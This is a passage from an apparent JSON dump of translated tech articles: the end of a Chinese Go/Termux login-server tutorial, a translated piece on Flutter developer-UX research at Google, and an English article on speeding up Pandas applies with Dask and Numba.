Termux。\n\n现在我感觉我已经有点熟悉HTML了。简单来说，我们有一个头和一个表单。表单的「action」属性被设为「/log-in/」它的方法被设置为 POST。有两个输入字段：一个用于输入密码，另一个用于提交表单。密码字段被叫做「pass」。我们稍后会用到这些名字。\n\n现在如果我们输入密码并且提交会发生什么？我们要向服务器发出另一个 HTTP请求（「/log-in/」），因此我们需要写另一个处理这个请求的方法。回到 Termux，在你选择的编辑器中打开 server.go。\n\n我们要再写另一个函数（就我而言，我会在 handler() 和 main() 之间写，但是你可以按照适合你的方法去做）。这是另一个处理 HTTP 「/log-in/」请求的方法，这是在用户提交我们之前做的表单时发出的。\n\n```go\nfunc loginHandler (write http.ResponseWriter, req *http.Request){\n\n   password := req.FormValue(\"pass\")\n\n   if password == \"let-me-in\" {\n                fmt.Fprint(write, \"<h1>Welcome!</h1>\")\n\n   } else {\n         fmt.Fprint(write, \"<h3>Wrong password! Try again.</h3>\")\n   }\n\n}\n```\n\n和之前一样，这个方法有两个参数，**write** 和 **req**，它们也被定义为「http」包中已定义的相同类型。\n\n然后我们创建一个叫做 **password** 的变量，我们把它设置成等于请求表单中「pass」的值。注意使用「:=」的隐式类型赋值，我们可以这样做是因为密码字段的值将始终作为字符串发送。\n\n接下来是一个「if」语句，使用「==」比较运算符来检查密码是否与「let-me-in」的一致。这当然取决于我们如何定义正确的密码。你可以把这个字符串改成任何你喜欢的。\n\n如果字符串是相同的，你就登录成功了！现在，我们输出了一个无聊的「欢迎」的消息。我们接下来将会修改这个。\n\n否则，如果字符串不一致，我们就会输出「重试」的消息。同样，我们可以使这个变得更加有趣。首先，如果密码表单仍然可供用户使用，这将是有用的。添加以下加粗的代码。是和之前的 HTML 一样形式的密码：\n\n```go\nfunc loginHandler (write http.ResponseWriter, req *http.Request){\n\npassword := req.FormValue(\"pass\")\n\nif password == \"let-me-in\" {\n                fmt.Fprint(write, \"<h1>Welcome!</h1>\")\n\n} else {\n         fmt.Fprint(write, \"**<h1>Login</h1><form action='/log-in/' method='POST'> Password:<br> <input type='password' name='pass'><br> <input type='submit' value='Go!'></form>**<h3 **style='color: white; background-color: red'**>Wrong password! Try again.</h3>\")\n   }\n\n}\n```\n\n我还在「重试」消息里添加了一些简单的样式。你也可以不加，但是为什么不呢？让我们也对「欢迎」消息做同样的处理：\n\n```go\nfunc loginHandler (write http.ResponseWriter, req *http.Request){\n\npassword := req.FormValue(\"pass\")\n\nif password == \"let-me-in\" {\n                fmt.Fprint(write, \"**<h1 style='color: white; background-color: navy; font-size: 72px'>**Welcome!</h1>\")\n\n} else {\n         fmt.Fprint(write, \"<h1>Login</h1><form action='/log-in/' method='POST'> Password:<br> <input type='password' name='pass'><br> <input type='submit' value='Go!'></form><h3 style='color: white; background-color: red'>Wrong password! Try again.</h3>\")\n   }\n\n}\n```\n\n差不多了！我们写了 loginHandler() 函数，但在我们的 main() 函数中没有引用它。添加以下加粗的代码：\n\n```go\nfunc main() {\n   http.ListenAndServe(\":8080\",nil)\n   fmt.Println(\"Server is listening at port 8080\")\n   http.HandleFunc(\"/\", handler)\n   http.HandleFunc(\"/log-in/\", loginHandler)\n}\n```\n\n至此，我们已经告诉服务如果它接收到一个「/log-in/」的请求（这将随时发生在用户点击提交按钮的时候），它使用 `loginHandle()` 方法做出响应。我们已经完成了！server.go 的全部代码应该与以下代码一致：\n\n```go\n//搭建一个 Web 服务\n\npackage main\n\nimport (\n   \"fmt\"\n   \"net/http\"\n)\n\nfunc handler (write http.ResponseWriter, req *http.Request) {\n   fmt.Fprint(write, \"**<**h1>Login</h1><form action='/log-in/' method='POST'> Password:<br> <input type='password' name='pass'><br> <input type='submit' value='Go!'></form>\")\n}\n\nfunc loginHandler (write http.ResponseWriter, req *http.Request){\n   password := req.FormValue(\"pass\")\n   if password == \"let-me-in\" {\n                fmt.Fprint(write, \"<h1 style='color: white;       background-color: navy; font-size: 72px'>Welcome!</h1>\")\n   } else {\n         fmt.Fprint(write, \"<h1>Login</h1><form action='/log-in/' method='POST'> Password:<br> <input type='password' name='pass'><br> <input type='submit' value='Go!'></form><h3 style='color: white; background-color: red'>Wrong password! Try again.</h3>\")\n   }\n}\n\nfunc main() {\n   http.ListenAndServe(\":8080\",nil)\n   fmt.Println(\"Server is listening at port 8080\")\n   http.HandleFunc(\"/\", handler)\n   http.HandleFunc(\"/log-in/\", loginHandler)\n}\n```\n\n保存并且退出 nano，然后到命令行，我们让 Go 编译器去编译我们的服务程序。这个命令只需要编译程序一次，此后我们就可以随时运行它。\n\n```\ngo build server.go\n```\n\n给它一点时间去编译，然后输入下面的命令：\n\n```\n./server\n```\n\n你应该看到和之前一样的「监听」信息。现在，如果你打开浏览器并且输入 [http://localhost:8080](http://localhost:8080)，你将会被要求输入密码。如果我们输入的不正确，我们就会看到下面的界面：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*RKnDclkFGuf1vHIJk8Y25w.png\">\n\n不对！\n\n反之，如果我们输入正确的密码：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*pDsiYj8so6H1KcMEjiMZxw.png\">\n\nFirfox 看上去似乎比 Lynx 更热情一些…\n\n#### 结语 ####\n\n如果你已经看了这篇文章，我希望你可以喜欢这个教程，并发现它对你有帮助。我把读者放在和我一样的位置上 — 对于web全栈开发十分感兴趣并且打算学习服务端知识的新手。\n\n当然，我们在这里创建的这个简单的登录页面还有很长的路要走。你不会像我们做的一样将 HTML 写入 handler 函数中（我正打算看看 Go 的 HTML 包有一些不错的可选的模板），也不会在「if」语句中写出正确的密码。最好有一个存储密码和用户名的数据库，你的服务器每次收到登录请求时会去查询。\n\n为此，Termux 提供了一个 SQLite 包，并且 Node.js 中提供了各种数据库的包。这个教程的一个很酷的延展方向是可以去创建一个保存用户名以及对应密码的数据库，并且允许新的用户加入。你需要添加另外一个输入项，并修改 loginHanlder() 函数。\n\n我已经表达了我对于 Termux 的观点 — 它很棒，我希望它能够适于用更多的应用。不光是 Go 和 Node.js，我同样用它成功的写过并且编译和运行了简单的 C，C++，CoffeeScript，PHP 以及 Python 3.6等语言的代码，并且仍然有一些其他语言我没有尝试过（有人试过 Erlang/Lua/PicoLisp吗？）\n\n至于 Go，第一次使用令我非常满意。我喜欢它专注于简易性，并且我喜欢它的语法，而且它的文档很容易理解，它让我可以根据我的理解去开发。一个初学者的意见是有价值的，这点就像是 C++ 和 Python 的结合。在某种程度上，这可能恰好是它的意义所在！\n\n#### 译者注\n\n感谢大家的阅读，首先，这是一篇 Go 语言的入门文章，不过作者的代码有一点小问题，发表前我已经向作者提出问题，暂时还没有收到回复，收到回复后会在文章中更新，现在根据我的理解稍作分析，这是作者的最后一段代码：\n\n```go\nfunc main() {\n   http.ListenAndServe(\":8080\",nil)\n   fmt.Println(\"Server is listening at port 8080\")\n   http.HandleFunc(\"/\", handler)\n   http.HandleFunc(\"/log-in/\", loginHandler)\n}\n```\n\n监听是阻塞的执行，内部一直 runloop 等待网络请求，不退出。所以监听一旦打开，后续代码都不会执行，直到按 ctrl+c 强制结束。这一点，我们从 `ListenAndServe` 的源码中看出：\n\n```go\n// ListenAndServe always returns a non-nil error.\nfunc ListenAndServe(addr string, handler Handler) error {\n\tserver := &Server{Addr: addr, Handler: handler}\n\treturn server.ListenAndServe()\n}\n```\n\n因此作者的代码中执行到 `http.ListenAndServe(\":8080\",nil)` 后，后续代码都不会继续执行。所以这里应该先设置访问路由，再监听端口。否则这段代码是无法出现预期效果的。修改后代码如下：\n\n```go\nfunc main() {\n   http.HandleFunc(\"/\", handler)\n   http.HandleFunc(\"/log-in/\", loginHandler)\n   fmt.Println(\"Server is listening at port 8080\")\n   http.ListenAndServe(\":8080\",nil)\n}\n```\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。"
  },
  {
    "path": "TODO/how-i-do-developer-ux-at-google.md",
    "content": "\n  > * 原文地址：[How I do Developer UX at Google](https://medium.com/google-design/how-i-do-developer-ux-at-google-b21646c2c4df)\n  > * 原文作者：[Tao Dong](https://medium.com/@taodong)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-i-do-developer-ux-at-google.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-i-do-developer-ux-at-google.md)\n  > * 译者：[Lai](https://github.com/laiyun90)\n  > * 校对者：[临书](https://github.com/tmpbook)  [Cherry]（https://github.com/sunshine940326）\n\n  # 我是如何在谷歌做开发者用户体验的\n\n  **基于 Flutter 的用户调研进行说明**\n\n![](https://cdn-images-1.medium.com/max/1600/1*-fxLDg9RoGtL2X8zYmb2pA@2x.jpeg)\n\n人们谈论用户体验（UX）时，谈论的对象通常是他们所热爱的消费产品，比如：智能手机、消息应用或者一副耳机。\n\n但是当你为开发者构建产品时，用户体验同样也很重要。人们往往会忘记开发人员也是用户，从本质上来说，软件开发是一项不仅受限于计算机的工作方式，而且也受限于程序员工作方式的人类活动。诚然，通常情况下开发人员的数量要比普通消费者少，但是开发人员所使用工具的可用性越高，越能使他们花费精力去为用户创造价值。因此，就产品来说，开发人员的用户体验和普通消费者的同样重要。在本文中，我将介绍为开发人员设计的开发者体验，阐述我们在谷歌对它进行评估的一种方法，并分享一些我们在开展  [Flutter](https://flutter.io/)（一个构建美观移动应用的新型 SDK）项目时，从一个具体研究中学到的经验教训。\n\n为开发人员设计开发者体验并不是一个新鲜的想法。开发人员用户体验的相关研究可以追溯到早期计算时代，因为在一定程度上，当时所有的用户都是开发者。出版于 1971 年的 「[程序开发心理学](https://book.douban.com/subject/4734656/)」 是这个领域的里程碑式的著作。当我们谈到开发者体验，特别是将这个术语应用于 SDK 或库时，我们通常会考虑产品的三个方面：\n\n- **API 设计**，包括类、方法和变量的命名，API 的抽象级别，API 的组织以及 API 的调用方式。\n- **文档**，包括 API 参考和其他学习资源，如教材、操作指南和开发人员指南。 \n- **工具**，涉及到有助于编辑、调试和测试代码的命令行界面（CLI）和 GUI 工具。比如，[研究](https://www.cl.cam.ac.uk/~mcm79/pdf/2015-PPIG.pdf) 表明，IDE 中的自动完成功能对如何在编程中发现和使用 API 有很大的影响\n\n开发者体验的这三大支柱相辅相成，所以需要打包来设计和评估。\n\n#### 我们如何观察开发人员的用户体验？\n\n![](https://cdn-images-1.medium.com/max/1200/1*4kBtrc2qTpzT89KgnBmGVA.png)\n\n我们用来评估开发人员用户体验的一种研究方法是**观察**真正的开发者如何使用我们的 SDK 和开发工具来执行一个实际的编程任务。这种被称为用户测试的方法，被广泛应用于消费者 UX 研究，我们对它做出调整来评估为开发者设计的产品。在关于 [Flutter](http://flutter.io) 的具体研究中，我们邀请了 8 位专业开发人员，请他们分别执行上面的模型。\n\n在这个过程中涉及到的一个关键方法是 [有声思维法](https://en.wikipedia.org/wiki/Think_aloud_protocol)。这是 Clayton Lewis 在 IBM 研发的口头报告协议，能够帮助我们了解参与者行为背后的原因。我们给了参与者以下说明：\n\n> 「当你在编程练习时，请『出声思考』。也就是说口头描述你的思维发展变化的过程，包括你的疑惑和问题、你所考虑的解决策略，以及你做出决定的理由。」\n\n我们进一步向参与者保证，我们评估的是 Flutter，而不是他们的编程技能：\n\n> 「请记住我们正在测试 Flutter 的开发人员使用体验，并非对您的考验。所以任何让您感到困惑的事情都是我们需要解决的。」\n\n每一次的开发者测试，都是从访问参与者的背景作为热身，然后留给他们大约 70 分钟的时间来完成任务。在最后 10 分钟，我们会询问参与者的体验。每次测试中，我们都会向身处单独会议室的产品工程师团队不公开地直播测试情况，包括测试者电脑显示屏的内容。为了保护参与者的隐私，我们将使用编号（例如，P1、P2、P3 等）来标识他们，而非他们在本文中的姓名。\n\n---\n\n所以，从这次的研究中我们对开发者的体验有什么了解呢？\n\n#### 1. 提供大量的示例，并有效地展示\n\n在几轮用户测试之后，能够明显看出开发人员想从示例中学习如何使用新的 SDK。但是问题并不在于 Flutter 没有提供足够的例子 -- 它的 Github 资料库中有 [大量的例子](https://github.com/flutter/flutter/tree/master/examples)。问题在于，这些例子没有被组织起来，以一种真正对我们研究的参与者有帮助的方式呈现。出现这样的问题有两个原因：\n\n首先，Flutter 的 Github 库里的代码示例缺少截图。当时，Flutter 的网站提供了一个链接，可以在其 Github 库里搜索到包括特定小部件在内的所有代码示例，但是参与者很难确认哪个示例会产生预期的结果。你必须在设备或模拟器上运行示例代码，才能看到小部件的外观，这是没有人愿意费心去做的。 \n\n![](https://cdn-images-1.medium.com/max/1200/1*wl0E4X5dwf8ffO5U5WB6SQ.png)\n\n> 「链接到实际的代码是很好的。但是除非看到输出，否则很难选择要使用哪一个。」 (P4)\n\n第二，参与者期望在 API 文档中看到示例代码，而不是其他零散的地方。试错是学习 API 的常用方法，API 文档中的片段可以使这种学习方法得以实现。\n\n> 「我点击『文档』，但它是 API，而不是示例。」 (P4)\n\n几个 Flutter 团队的工程师通过直播观察了用户测试，他们被一些参与者经历的挑战所触动。因此，该团队已经开始持续地向 Flutter 的 API 文档（例如，[ListView](https://docs.flutter.io/flutter/widgets/ListView-class.html) 和 [Card](https://docs.flutter.io/flutter/material/Card-class.html)）中增加更多示例代码。\n\n[![](https://cdn-images-1.medium.com/max/1600/0*4U5ykS-eke_6ridl.)](https://docs.flutter.io/flutter/widgets/ListView-class.html)\n\n此外，团队开始为更大的代码示例构建 [一个精心策划的视觉目录](https://flutter.io/catalog/samples/)。现在只有少数示例，但是每个示例都有截图和完整可运行的代码，所以发开人员可以很快确定一个示例是否对其问题有用。\n\n[![](https://cdn-images-1.medium.com/max/1600/0*mOqhzOt9tm8Z81m5.)](https://flutter.io/catalog/samples/)\n\n#### 2. 适应开发人员的认知能力\n\n编程是一种认知高度紧张的活动。在这种情况下，我们发现一些开发人员很难只用代码编写 UI 布局。在 Fluttter 应用程序中，构建布局涉及在树中选择和嵌套小部件。例如，要在咖啡馆信息卡中构建布局，需要正确地组织几个行小部件和列小部件。这看起来并不是一项艰巨的任务，但是三名参与者在试图创建这个布局时，搞混了行和列。\n\n![](https://cdn-images-1.medium.com/max/1600/1*ZsPJlXU8Kuy1ljzQMufy8Q.png)\n\n```\nnew Card(\n child: new Container(\n   child: new Row(\n       children: [\n         titleSection,\n         new Container(\n           child: new Row(\n               children: [\n                 phoneNumber,\n                 new Container(\n                   child: emailWidget\n                 ),\n                 ]\n            )\n          )\n        ]\n     )\n   )\n)\n```\n\n> 「你能告诉我你想输出什么吗？」（主持人）\n\n> [出声思考] 「哦，我或许应该用列而不是行。」（P6）\n\n我们转向认知心理学寻求解释。事实证明，用代码构建布局需要对物体之间的空间关系进行推理的能力，认知心理学家将其视为 [空间可视化能力](https://en.wikipedia.org/wiki/Spatial_visualization_ability)。正是这种能力影响了一个人有多么擅长解释驾驶方向或者转动魔方。\n\n这一发现改变了一些团队成员对于可视化 UI 构建器的看法。该团队非常高兴能够看到社区驱动在这方面的探索，例如名为 [Flutter Studio](http://mutisya.com/) 的基于 Web 的 UI 构建器。\n\n#### 3. 促进识别而非回忆\n\n用户界面应该避免强迫用户回忆信息（比如一个隐晦的命令或者参数），是众所周知的 [用户体验原则](https://www.nngroup.com/articles/recognition-and-recall/)。相反，用户界面应该允许用户识别出可能的操作过程。\n\n这个原则和软件开发有什么关系？我们观察到的一个问题是，很难直观的了解 Flutter 部件的默认布局行为并弄明白如何改变它们。例如，参与者 P3 不知道为什么卡片在默认情况下会缩小到它所包含的文本的大小。P3 难以解决如何使卡片填充整个屏幕宽度的问题。\n\n![](https://cdn-images-1.medium.com/max/1200/1*HAbAkFXFMzPhTSRcwtpHvQ.png)\n\n    body: new Card(\n      child: new Text(\n        ‘1625 Charleston Road, Mountain View, CA 94043’\n      )\n    ),\n\n> 「我想要的是让它占据屏幕的整个宽度。」（P3）\n\n当然，很多程序员最终会弄明白这个问题，但是他们下一次遇到同样的问题时，他们需要**回忆**如何去做。对于开发人员来说，在这种情况下没有可视的线索来**识别出**解决方案。\n\n该团队正在探索几个方向，来减少构建布局中回忆的负担：\n\n- 总结小部件的布局行为，使它们更易于理解。\n- 提供同时含有代码和图片的布局样例，将一些回忆任务转变为识别任务。\n- 提供一个 Chrome-style 的检查器来显示小部件属性的“计算值”。\n\n#### 4. 预料到开发人员会对“就在眼前”的东西视而不见\n\n一个让 Flutter 团队感到自豪的特性是 Hot Reload。它允许开发人员在一秒内将改变应用到一个运行态的 App 中，而不会丢失应用程序的状态。执行一次 Hot Reload 就像点击 IntelliJ IDE 中的一个按钮，或者在控制台按下 “r” 一样简单。\n\n然而，在前几次的用户测试研究中，研究小组对一些参与者在文件保存时触发 Hot Reload 的预期感到困惑。尽管事实上，Hot Reload 按钮启动指令时就显示在 入门引导的 gif 动画中，他们怎么会看不到 Hot Reload 按钮呢？\n![](https://cdn-images-1.medium.com/max/1600/1*oE-etcL1SzjYrNWTac9RtQ.gif)\n\n结果表明，无视 Hot Reload 按钮并期望在保存时触发重新加载的参与者是 React Native 的用户。他们告诉我们，在 React Native 中，Hot Reload 是在文件保存时自动执行的。\n\n开发人员预先存在的心智模型会改变他们的感知，并在一定程度上对 UI 元素产生『盲目性』。团队增加了更多的视觉提示来帮助发现 Hot Reload 按钮。此外，一些工程师一直在研究一种可靠的方法，为需要它的用户提供保存时重新加载的功能。\n\n#### 5. 不要假定程序员会像你期望的那样阅读出现在代码中的英语\n\n在 Flutter 中，[一切都是一个部件](https://flutter.io/technical-overview/)。用户界面主要通过嵌套部件组成。一些部件只有一个子部件，而其他部件则有多个子部件。这个区别是由于部件类的属性是『一个子部件』（child）」还是『多个子部件』（children）。听起来很明确，对吧？\n\n我们也是这样认为的。然而，对一些参与者来说，单词的单数形式并不能成功的表明只有一个部件可以嵌套在当前的部件中。他们怀疑『子部件』（child）是否真的意味着『只有一个』。\n\n> 「我在想『子部件』（child）是否可以是多个。我能传递一批子部件进去，或者说真的可能只有一个子部件？」(P2)\n\n> 「所以『子部件』（child）将是四件事，第一项、一个分隔符和另外两项。」(P2)\n\n这种对属性名称语义的错误理解导致了以下的错误代码：\n\n![](https://cdn-images-1.medium.com/max/1600/0*BARfNXeq3DpabHxq.)\n\n而且在这种情况下显示的错误消息虽然准确，却不足以将参与者推回到正确的路径上：\n\n![](https://cdn-images-1.medium.com/max/1600/0*HOBxZmDvGc_TAukH.)\n\n新手程序员在这儿所犯的错误很容易被忽视。然而，看到专业开发人员浪费时间来处理简单的问题让团队成员感到很不爽。所以在调查结果报告出来的几天后，团队成员进行了短期的修复工作。通过运行「flutter create」命令，将一个最有用的多个子部件『列』，添加到你获得的应用程序模板中。我们的目标是让新手发开人员尽早了解『子部件』（child）和『多个子部件』（children）的区别，避免他们以后再浪费时间去弄清楚。除此之外，一些团队成员也在研究一个更长期的解决方案，以改善错误信息在此种情况和其他情况下的可操作性。\n\n### 结论\n\n我们可以从观察程序员使用 API 和应用所学中学到很多，来提高面对开发人员产品的用户体验。如果你编写了代码或构建了其他开发人员使用的工具，我们建议你观察他们是如何使用它的。正如一位 Flutter 的工程师所说的，你总是能从观察用户研究中学到一些新的东西。随着软件不断推动世界的变化，我们要关爱研发人员，让他们能尽可能高效开发，并保持心情愉快。\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba",
    "content": "> * 原文地址：[Data Pre-Processing in Python: How I learned to love parallelized applies with Dask and Numba](https://medium.com/@ernestk.social/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba-f06b0b367138)\n> * 原文作者：[Ernest Kim](https://medium.com/@ernestk.social?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba.md)\n> * 译者：\n> * 校对者：\n\n# Data Pre-Processing in Python: How I learned to love parallelized applies with Dask and Numba\n\n*   If you’re comfortable with using Pandas to transform data, create features, and perform cleaning, you can easily parallelize your workflow with Dask and Numba.\n*   In pure speed: Dask beats Python, Numba beats Dask, Numba+Dask beats ’em all\n*   Instead of using a Pandas apply, separate out numerical calculations into a Numba sub-function and use a Dask `map_partition + apply`\n*   On a 1 million row dataset, creating new features with a mix of numerical calculation and Pandas methods, number of times slower than Numba+Dask:\n\nPython: **60.9x** | Dask: **8.4x** | Numba: **5.8x** | Numba+Dask: **1x**\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*ury0XRvKWpwAZsMQ_m1_cg.jpeg)\n\nGo fast with Numba and Dask.\n\nAs a master’s candidate of Data Science at the [University of San Francisco](https://www.usfca.edu/arts-sciences/graduate-programs/data-science), I get to regularly wrangle with data. Applies are one of the many tricks I’ve picked up to help create new features or clean-up data. Now, I’m only [data scientist-ish](https://github.com/ernestk-git/data-scientist-ish) and not an expert in computer science. I am, however, a tinkerer that enjoys making code faster. Today, I’ll be sharing my experiences with parallelizing applies, with a particular focus on common data prep tasks.\n\nPython aficionados may know that Python implements what’s known as a Global Interpreter Lock. Those more grounded in computer science can [tell you more](https://stackoverflow.com/questions/1294382/what-is-a-global-interpreter-lock-gil), but for our purposes, the GIL can make using all of those cpu cores in your computer tricky. What’s worse, our chief data wrangler package, Pandas, rarely implements multi-processing code.\n\n#### **Apply vs Multiprocessing.map**\n\n```\n%time df.some_col.apply(lambda x : clean_transform_kthx(x))\nWall time: HAH! RIP BUDDY\n# WHY YOU NO RUN IN PARALLEL!?\n```\n\nThose of us crossing over from the R realm know that the Tidyverse has done some wonderful things for handling data. One of my favorite packages, [plyr](http://had.co.nz/plyr/), allows R users to easily parallelize their applies on data frames. From Hadley Wickham:\n\n> plyr is a set of tools for a common set of problems: you need to **split** up a big data structure into homogeneous pieces, **apply** a function to each piece and then **combine** all the results back together\n\nWhat I wanted was plyr for Python! Sadly, it does not yet exist, but I used a [hacky solution](http://blog.adeel.io/2016/11/06/parallelize-pandas-map-or-apply/) from the multiprocessing package for a while. It certainly works, but I wanted something that was more akin to regular Pandas applies…but like, parallel and stuff.\n\n#### [**Dask**](https://dask.pydata.org/en/latest/)\n\n![](https://cdn-images-1.medium.com/max/800/1*wfQ_pXwrr7Y_0_aXSVmQWg.png)\n\nThanks for all the cores [AMD](https://www.amd.com/en/ryzen)!\n\nWe spend a bit of class time on Spark so when I started using Dask, it was easier to grasp its main conceits. Dask is designed to run in parallel across many cores or computers but mirror many of the functions and syntax of Pandas.\n\nLet’s dive in to an example! For a recent data challenge, I was trying to take an external source of data (many geo-encoded points) and match them to a bunch of street blocks we were analyzing. I was calculating euclidean distances and using a simple max-heuristic to assign it to a block:\n\n![](https://cdn-images-1.medium.com/max/800/1*rNIJiaWUAv-DmM7JxdsD9Q.png)\n\nIs the point close to L3? The L1 + L2 may shock you…\n\nMy original apply:\n\n`my_df.apply(lambda x: nearest_street(x.lat,x.lon),axis=1)`\n\nMy Dask apply:\n\n```\ndd.from_pandas(my_df,npartitions=nCores).\\\n   map_partitions(\n      lambda df : df.apply(\n         lambda x : nearest_street(x.lat,x.lon),axis=1)).\\\n   compute(get=get)\n# imports at the end\n```\n\nPretty similar right? The apply statement is wrapped around a `map_partitions`, there’s a `compute()` at the end, and I had to initialize `npartitions`. Spark users will find this familiar, but let’s disentangle this a bit for the rest of us. [Partitions](http://dask.pydata.org/en/latest/dataframe.html) are just that, your Pandas data frame divided up into chunks. On my computer with 6-Cores/12-Threads, I told it to use 12 partitions. Dask handles the rest for you thankfully.\n\nNext, map_partitions is simply applying that lambda function to each partition. Since many of our data processing code operates on each row independently, we do not have to worry too much about the order of these operations (which row goes first or last is irrelevant). Lastly, the compute() is telling Dask to process everything that came before and deliver the end product to me. Many distributed libraries like Dask or Spark implement ‘lazy evaluation’, or creating a list of tasks and only executing when prompted to do so. Here, compute() calls Dask to map the apply to each partition and (get=get) makes it parallel.\n\nI did not use a Dask `apply` because I am iterating over rows to generate a new array that will become a feature. The Dask `apply` only works across [columns](http://dask.pydata.org/en/latest/dataframe-api.html#dask.dataframe.DataFrame.apply).\n\nHere are the imports for the Dask code:\n\n```\nfrom dask import dataframe as dd\nfrom dask.multiprocessing import get\nfrom multiprocessing import cpu_count\nnCores = cpu_count()\n```\n\n#### [**Numba**](http://numba.pydata.org/#)**,** [**Numpy**](http://numba.pydata.org/numba-doc/dev/reference/numpysupported.html) **and** [**Broadcasting**](https://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)\n\nSince I was classifying my data based on some simple algebraic calculations (Pythagorean theorem basically), I figured it would run quickly enough in typical Python code that looks like this:\n\n```\nmatches = []\nfor i in intersections:\n   l3 = np.sqrt( (i[0] - i[1])**2 + (i[2] - i[3])**2 )\n   # ... Some more of these\n   dist = l1 + l2\n   if dist < (l3 * 1.2):\n      matches.append(dist)\n      # ... More stuff\n### you get the idea, there's a for-loop checking to see if \n### my points are close to my streets and then returning closest\n### I even used numpy, that means fast right?\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*z4h3mQ-ztG1MA0dz1tRlpg.png)\n\nIt was not.\n\nBroadcasting is the idea of writing code with a vector mindset as opposed to scalar. Say I have an array, and I want to futz with it. Normally, I would iterate over it and transform each cell individually.\n\n```\n# over one array\nfor cell in array:\n   cell * CONSTANT - CONSTANT2\n# over two arrays\nfor i in range(len(array)):\n   array[i] = array[i] + array2[i]\n```\n\nInstead, I can skip the for loops entirely and perform operations across the entire array. Numpy functions incorporate broadcasting and can be used to perform element-wise computations (1-element in an array to a corresponding 1-element in another array).\n\n```\n# over one array\n(array * CONSTANT) - CONSTANT2\n\n# over two arrays of same length\n# different lengths follow broadcasting rules  \narray = array - array2\n```\n\nBroadcasting can accomplish so much more, but let’s look at my skeleton code:\n\n```\nfrom numba import jit\n\n@jit # numba magic\ndef some_func()\n   l3_arr = np.sqrt( (intersections[:,0] - intersections[:,1])**2 +\\\n                     (intersections[:,2] - intersections[:,3])**2 )\n   # now l3 is an array containing all of my block lengths\n   # likewise, l1 and l2 are now equal sized arrays \n   # containing distance of point to all intersections\n\n   dist = l1_arr + l2_arr\n\n   match_arr = dist < (l3_arr * 1.2)\n   # so instead of iterating, I just immediately compare all of my\n   # point-to-street distances at once and have a handy \n   # boolean index\n```\n\nEssentially, we’re changing `for i in array: do stuff` to `do stuff on array`. The best part is that it’s fast, even compared to parallelizing versus Dask. The good part is that if we stick to basic Numpy and Python, we can Just-In-Time compile just about any function. The bad part is that it only plays well with Numpy and simple Python syntax. I had to strip out all of the numerical calculations from my functions into sub-functions, but the speed increase was magical…\n\n#### Putting it all together\n\nTo combine my Numba function with Dask, I simply applied the function with `map_partition()`. I was curious if parallelized operations and broadcasting could work hand in hand for a speed-up. I was pleasantly surprised to see a large speed up, especially with larger data sets:\n\n![](https://cdn-images-1.medium.com/max/800/1*RGap2-WIEWrgo2RDf6jdiA.png)\n\nGo Numba go!\n\n![](https://cdn-images-1.medium.com/max/800/1*q_f-EzQFuLC14amYx9VbMA.png)\n\nSo x is: 1, 10, 100, 1000…\n\nThe first graph indicates that linear computation without broadcasting performs poorly. We see that parallelizing the code with Dask is almost as effective as using Numba+broadcasting, but clearly, Dask+Numba outperforms others.\n\nI include the second graph to anger people that like simple and interpretable graphics. Or it’s there to show that Dask comes with some overhead costs, but Numba does not. I took `head(nRows)` to create these charts and noticed it was not until 1k — 10k rows that Dask came into its own. I also found it curious that Numba alone was consistently faster than Dask, although the combination of Dask+Numba could not be beat at large nRows.\n\n**Optimizations**\n\nTo be able to JIT compile with Numba, I re-wrote my functions to take advantage of broadcasting. Out-of-curiosity, I reran these functions to compare Numba+Broadcasting vs Just Broadcasting (Numpy only basically). On average, `@jit` executes about 24% faster for identical code.\n\n![](https://cdn-images-1.medium.com/max/800/1*YsYMh8inCLZbRVD0xpbzNw.png)\n\nThanks JIT!\n\nI’m sure there are ways to optimize even further, but I liked that I was able to quickly port my previous work into Dask and Numba for a 60x speed increase. Numba only really requires that I stick to Numpy functions and think about arrays all at once. Dask is very user friendly and offers a familiar syntax for Pandas or Spark users. If there are other speed tricks that are easy to implement, please feel free to share!\n\n* * *\n\n*   All work conducted on a home-built server running Ubuntu 16.04, Python 3, and Anaconda on AMD Ryzen 1600, 32 GB RAM, GTX 1080.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 